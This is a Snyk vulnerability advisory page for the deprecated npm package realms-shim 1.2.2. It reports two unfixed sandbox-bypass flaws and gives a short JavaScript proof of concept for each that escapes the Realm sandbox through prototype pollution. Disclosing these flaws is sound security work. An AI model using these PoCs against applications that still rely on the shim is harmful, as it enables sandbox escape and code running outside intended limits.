realms-shim@1.2.2 vulnerabilities

Spec-compliant shim for Realms TC39 Proposal

  • latest version

    1.2.2

  • first published

    5 years ago

  • latest version published

    5 years ago

  • deprecated

    Package is deprecated

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the realms-shim package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • C
    Sandbox Bypass

    realms-shim is a shim implementation of the Realm API Proposal.

    Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

    PoC

    import Realm from 'realms-shim'
    
    let realm = Realm.makeRootRealm();
    try {
        realm.evaluate(`
            Error.prepareStackTrace = function (error, stackTrace) {        
                stackTrace.__proto__.__proto__.polluted = 'success'            
            };
            x;
        `);
    } catch(e) {
        // we do not even need to print e
    }
    console.log(polluted);
    

    How to fix Sandbox Bypass?

    There is no fixed version for realms-shim.

    *
    • C
    Sandbox Bypass

    realms-shim is a shim implementation of the Realm API Proposal.

    Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

    PoC

    import Realm from 'realms-shim'
    let realm = Realm.makeRootRealm();
    
    realm.evaluate(`
    function test() {    
        try {
           test();
        } catch (e) {                        
            e.__proto__.__proto__.__proto__.polluted = "success";        
            new Error().stack; // if one comments this uselss line, the PoC does not work anymore
        }
    }
    test();`);
    console.log(polluted)
    

    How to fix Sandbox Bypass?

    There is no fixed version for realms-shim.

    *